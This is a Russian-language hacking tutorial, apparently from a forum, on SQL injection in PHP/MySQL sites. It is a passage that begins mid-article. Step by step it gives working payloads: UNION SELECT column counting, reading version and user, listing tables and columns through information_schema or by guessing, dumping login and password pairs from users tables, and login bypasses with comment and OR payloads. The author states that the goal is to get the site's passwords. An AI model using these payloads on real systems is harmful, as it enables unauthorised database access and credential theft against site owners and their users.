Вывод ошибки, как приведено выше. Это означает отсутствие фильтрации вводимых параметров, возможность внедрения своего запроса.
Ошибка отсутствует, вообще искажается вся страница или ее часть. В таком случае, возможно, просто отключен вывод об ошибках в настройках php. Наличие инъекции возможно.
Ничего не меняется. Скорее всего, вводимые данные фильтруются, и инъекции нет.
Таким образом, чтобы найти инъекцию в GET параметре, нужно во всех параметрах в адресной строке (GET-запорсы)*ставить кавычки. Но учтите, что, если при user.php?id=1 инъекции нет, то и в user.php?id=2 ее точно не будет, т.к. на уязвимость проверяется параметр id, а не его числовое значение.
Кстати, о значениях. Параметры могут быть не только числовыми, а, например, текстовыми:
Code
site.com/user.php?name=admin
А могут выглядеть и так:
Code
site.com/user/name/id/1/
Поэтому не стесняемся – ставим кавычки везде, где есть вероятность попасть с запросом в базу данных.
Так, с GET параметром вроде разобрались.
Теперь POST параметр.
Как вы помните, в пост параметр также обычно попадают данные, введенные в поле обычным пользователем, например, форма поиска или авторизации. В таком случае адресная строка браузера как выглядела, так и будет выглядеть, при этом, введенные нами данные незаметно для нас уйдут в БД. Процесс проверки наличия уязвимости будет, по сути, таким же, как и при GET-методе передачи.
COOKIES
Аналогично проверке при передачи POST параметром, необходимо будет в значения cookies добавить данные, которые теоретически могут вызвать ошибку в sql-запросе. Пользуемся редактором cookies (например, редактируем куки в браузере Opera)*, ставим кавычку и обновляем страницу.
Собственно, в дальнейшем сосредоточимся именно на методе передачи данных через GET, т.к. принципы работы массивов GET, POST и COOKIES идентичны, за исключением разве что внешнего вида. С гетами будет нагляднее (ибо передаваемое значение отображается в адресной строке)*.
Маленький вывод: поиск уязвимости технически одинаков для любого метода передачи данных из перечисленных – необходимо вызвать ошибку в sql-запросе путем нарушения его логики. Хочу уточнить, что данном мануале я говорю о поиске уязвимости именно в "SELECT" запросах.
Эксплуатирование SQL-Injection
Эксплуатация sqli осуществляется с использованием оператора sql [url=http://ru.wikipedia.org/wiki/Select_(SQL)/]«SELECT»[/url], который используется для извлечения данных из строк одной или нескольких таблиц.
Для объединения запросов используется оператор «union»
Так как SELECT запросов у нас будет больше одного (один изначально находится в скрипте, другой внедряем мы), то без этого оператора мы никак не обойдемся.
Однако, для корректной работы связки UNION+SELECT необходимо, чтобы количество столбцов в SELECT-запросах до UNION и после было одинаковым. Поясню на примере.
Изначально наш sql-запрос выглядел так:
Code
$zapros = mysql_query("SELECT * FROM users WHERE id=$id”);
Учитывая наличие уязвимости, мы хотим дописать запрос:
site.com/user.php?id=1+UNION+SELECT+1
Теперь наш sql-запрос примет следующий вид:
Code
$zapros = mysql_query("SELECT * FROM users WHERE id=1 + UNION + SELECT + 1");
Т.е. мы имеем 2 SELECT запроса, и UNION, который их объединяет. Вот для того, чтобы запрос сработал корректно, нужно, чтобы количество столбцов в таблицах (в нашем случае - в таблице users)* при первом SELECT запросе и втором SELECT запросе совпадало. Итак, первая задача, которая встаёт перед нами после нахождения скули - определение количества столбцов.
Конструкция "order+by+число" cортирует строки результирующей таблицы данных по указанному числовому параметру(параметр - номер столбца, по которому нужно сортировать)*.
Если при запросе site.com/user.php?id=1+order+by+10+--+ получаем ошибку, то столбцов меньше 10 (то есть мы указали несуществующую колонку)*. Если ошибки нет – то столбцов либо 10, либо больше. Продолжаем изменять значение до тех пор, пока не найдём точное кол-во столбцов в таблице. Поясню нагляднее:
site.com/user.php?id=1+order+by+20
Выпала ошибка? Значит столбцов меньше, пробуем уменьшить число (рациональнее всего уменьшать и увеличивать всегда в 2 раза)*:
site.com/user.php?id=1+order+by+10
Опять ошибка. Продолжаем уменьшать
site.com/user.php?id=1+order+by+5
Ошибки нет. Значит либо 5, либо больше. Так как 10 мы уже отбросили (у нас точно меньше 10), то можно увеличивать уже по одному, пока не появится ошибка
site.com/user.php?id=1+order+by+6
Если ошибка появилась, значит предыдущее значение было максимальным, то есть количество столбцов в данном примере – 5.
Надеюсь, принцип подбора кол-ва столбцов ясен. Идем дальше.
Для того, чтобы выводить из базы данных какую-либо информацию, необходимо определить принтабельные поля (тут у нас с автором разногласия по поводу теринологии, я предпочитаю называть их полями вывода)*, через которые это можно сделать (это области страницы, куда выводятся данные из БД)*. Для этого формируем запрос следующим образом (не забываем, что у нас 5 полей):
site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5
Обратите внимание, что перед 1 я поставил знак минус. Логически можно предположить, что пользователя с идентификатором -1 не существует, поэтому на экран будет выведен минимум информации, и результаты нашего запроса, который стоит после id=-1 будут более заметны.
По результатам этого запроса, на странице должны отобразится какие-либо цифры от 1 до 5, эти цифры и будут нашими принтабельными полями. Допустим, мы получили на странице цифру 2.
Первоначально рекомендую вывести из базы данных следующую информацию:
Текущая база данных – команда database()
Текущий пользователь MySQL – команда user()
Текущая версия базы данных – команда version()
Особенно важна информация из последней команды – version(). Исходя из того, что покажет данная команда, будем строить и дальнейшие действия.
Подставлять наш запрос следует вместо тех цифр, которые были выведены как принтабельные поля (вместо 2 в нашем случае):
site.com/user.php?id=-1+UNION+SELECT+1,version(),3,4,5
На месте двойки на странице сайта будет выведена версия базы MySQL (то есть результат запорса version() )*.
Если версия 5 и выше, вам повезло. Если 4 – не сильно. Если 3 – то вообще приплыли.
Вообще-то 3 ветку я лично даже в глаза не видел, так что и писать о ней не буду. Принципиальное для нас отличие между ветками – появление базы information_schema, в которой хранится структура всей базы данных. ^^
Стоит сделать оговорку, что речь у нас идёт именно о СУБД MySQL, как о самой распространённой. В разных СУБД применяются различне команды. Описание особенностей проведения инъекций в различные версии различных СУБД - тема для нескольких статей, поэтому на данном этапе обойдёмся общими приёмами в одной кокретной системе управлениябазами данных.*
Напомню, что любая база данных имеет таблицы, которые состоят из колонок. Начинаем по порядку
Определение структуры базы данных
Версия MySQL 5.x.x
Любая БД пятой ветки обязательно содержит стандартную базу information_schema, в которой находятся стандартные таблицы и колонки, не представляющие для нас ровно никакой ценности (за исключением информации об именах других таблиц и колонок в них)*.
Вывод наименований таблиц:
site.com/user.php?id=-1+UNION+SELECT+1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema!= 0x696e666f726d6174696f6e5f736368656d61
Данный запрос выводит все (group_concat) таблицы (table_name) из information_schema.tables (информационная база таблиц), где имя базы таблиц (table_schema) не является (!=) information_schema
0x696e666f726d6174696f6e5f736368656d61 – это "information_schema" в hex-значении. В качестве конвертора я использую сайт x3k.ru.
Ограничением (причем, зачастую довольно ощутимым), является вывод не более 1024 символов за раз, поэтому через group_concat(table_name) могут вывестись не все таблицы. Аналогом для вывода может служить конструкция limit, которая позволит выводить по одной записи (в нашем случае – имя таблицы) за запрос.
Например, запрос
site.com/user.php?id=-1+UNION+SELECT+1,table_name,3,4,5+from+information_schema.tables+ limit+0,1
выведет нам 1 таблицу,
limit+1,1 – вторую, limit+2,1 - третью и так далее...
Ясен пень, что если у вас окажется 50 таблиц в базе, выводить врукопашку вы их просто замучаетесь) Посему скрипт для вывода через "limit" ждёт вас в дополнении 1.*
Итак, определв все таблицы в базе данных, выбираем интересующую нас таблицу, допустим, она называется users (нам же их пароли нужны ). Теперь нам необходимо определить наименование стобцов (колонок) данной таблицы. Делается практически аналогично:
site.com/user.php?id=-1+UNION+SELECT+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_name=users
Логика запроса, надеюсь, понятна – она практически идентична предыдущему запросу. Только добавляется условие, что имя таблицы - users (where+table_name=users), так как мы хотим получить данные именно из неё. Тут, как правило, длины group_concat абсолютно достаточно, т.к. количество столбцов обычно небольшое. Предположим, что в нашем случае колонки назывались login и pass.
Итак, мы определили структуру базы данных, а также выяснили наименование нужных нам таблиц и колонок: таблица users содержит колонки login и pass. Заключительный этап эпопеи – вывод данных. Составляем следующий запрос:
site.com/user.php?id=-1+UNION+SELECT+1,group_concat(login,0x3b,pass),3,4,5+from+users
В данном случае, выводятся все значения для колонок login и pass из таблицы admin, 0x3b используется как разделитель между ними (для удобочитаемости, эквивалентен точке с запятой).
Все, эти данные у нас в руках. Опять же используем limit, если нельзя отобразить всё сразу. Но обычно логин и пароль админа находятся в самом начале таблицы, поэтому имеющегося кол-ва символов должно хватить.*
Версия MySQL 4.x.x
Четвертую ветку сознательно пишу после пятой, чтобы новичкам было проще сориентироваться.
Как уже говорилось, ключевое для нас отличие между 4 и 5 версиями – information_schema. В 5 версии – есть, в 4 – нет. И это создает для нас определенные трудности. Я опишу самый примитивный способ, а остальные – тема уже других статей, ибо сложные :D.
Так вот, в связи с отсутствием information_schema, мы не можем просто взять и получить имена таблиц и колонок, так как просто неоткуда. Проще всего попробовать угадать. Для начала попробуем угадать название таблицы:
site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+ user
Если выпала ошибка – не угадали. Меняем название таблицы:
site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+ logins
И так до того момента, пока не пропала ошибка. В нашем виртуальном случае без ошибки сработает запрос:
site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+ users
То есть имя таблицы - users. Теперь надо угадать имена колонок. Действуем аналогично предыдущей логике:
site.com/user.php?id=-1+UNION+SELECT+1, name,3,4,5+from+users
Ошибка. Пробуем другое:
site.com/user.php?id=-1+union+SELECT+1, admin_login,3,4,5+from+users
Ошибка... ещё попытка:
site.com/user.php?id=-1+UNION+SELECT+1, login,3,4,5+from+users
Есть контакт! Аналогично угадываем колонку с паролем.
Вывод содержимого колонок делается аналогично выводу в 5 ветке.
О специфике паролей, полученных напрямую из БД пойдёт речь в дополнении 3 (ибо это ещё не совсем пароли, а их хеши )*
Честно говоря, подбор имён таблиц и колонок занятие очень геморное... брутить ручками крайне глупо, сами понимаете)) Конечно, стоит попробовать простенькие варианты вроде users, logins и т.п., но без фанатизма. Если с 3-4 попыток угадать имена не удалось, разумнее будет прибегнуть к некоторой автоматизации. Скрипт для брута имён таблиц и колонок приведён в приложении 1.*
Отдельно следует упомянуть о наличии инъекции в форме авторизации.
Предположим, что запрос к БД будет выглядеть таким образом (опять же на стороне сервера и невидимо для нас... тут только пример)*:
Code
mysql_query("SELECT * FROM users WHERE login = $login AND pass = $password”);
Если есть инъекция через поле логина и не фильтруется переменная $login, запрос в строке, где вводится логин, можно сделать таким: Admin'+--+
Тогда к базе полетит запрос
Code
mysql_query("SELECT * FROM users WHERE login = Admin'+--+AND pass = $password”);
Таким образом, в базу данных попадет только логин, проверка по паролю будет отброшена благодаря использованию комментария MySQL "--" (плюсы - заменяют пробелы. Кстати, до и после комментария "--" желтельно всегда их ставить)*. И вуаля – мы админы (конечно, если у админа такой же логин )*.
Если не фильтруются данные поля для ввода пароля, то запрос в этом поле будет таким: 123'+or+login=’admin’
Запрос к БД в данном случае:
Code
mysql_query("SELECT * FROM users WHERE login = $login AND pass = 123'+or+login=’admin’);
Таким образом авторизация пройдет по логину admin согласно логике выражения "or".
Маленькое дополнение к теме.
Символы комментариев, которые используются в MySQL:
Code
/*
+--+ (знак плюса эквивалентен пробелу)
#
Нужны они для того, чтобы отбросить то, что находится после нашего запроса. Зачастую это необходимо, поэтому, если что-то не идет – ставьте (меняйте) указанные символы – есть шанс, что все наладится.
Пример запроса:
site.com/user.php?id=-1+UNION+SELECT+1,pass,3,4,5+from+admin+--+
|